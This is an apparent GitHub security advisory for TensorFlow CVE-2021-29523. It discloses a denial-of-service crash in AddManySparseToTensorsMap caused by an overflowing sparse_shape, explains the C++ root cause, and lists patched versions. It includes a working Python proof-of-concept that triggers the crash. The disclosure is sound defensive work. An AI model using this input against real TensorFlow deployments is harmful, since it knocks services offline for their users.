

`CHECK`-fail in `AddManySparseToTensorsMap`

Low mihairmaruseac published GHSA-2cpx-427x-q2c6 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.5.0

Patched versions

2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a denial of service via a `CHECK` -fail in `tf.raw_ops.AddManySparseToTensorsMap` :

```
import tensorflow as tf
import numpy as np

sparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)
sparse_values = tf.ones([1], dtype=tf.int64)

shape = tf.Variable(tf.ones([55], dtype=tf.int64))
shape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))

tf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,
                                     sparse_values=sparse_values,
                                     sparse_shape=shape)
```

This is because the [implementation](#) takes the values specified in `sparse_shape` as dimensions for the output shape:

```
TensorShape tensor_input_shape(input_shape->vec<int64>());
```

The `TensorShape` constructor uses a `CHECK` operation which triggers when `InitDims` returns a non-OK status.

```
template <class Shape>
TensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {
  set_tag(REP16);
  set_data_type(DT_INVALID);
  TF_CHECK_OK(InitDims(dim_sizes));
}
```

In our scenario, this occurs when adding a dimension from the argument results in overflow:

```
template <class Shape>
Status TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {
  ...
  Status status = Status::OK();
  for (int64 s : dim_sizes) {
    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));
    if (!status.ok()) {
      return status;
    }
  }
}

template <class Shape>
Status TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {
  ...
  int64 new_num_elements;
  if (kIsPartial && (num_elements() < 0 || size < 0)) {
    new_num_elements = -1;
  } else {
    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);
    if (TF_PREDICT_FALSE(new_num_elements < 0)) {
      return errors::Internal("Encountered overflow when multiplying ",
                             num_elements(), " with ", size,
                             ", result: ", new_num_elements);
    }
  }
  ...
}
```

This is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK` -failures in the presence of overflows.

Patches

We have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](#).

The fix will be included in TensorFlow 2.5.0. We will also cherry-pick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](#) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29523

Weaknesses

No CWEs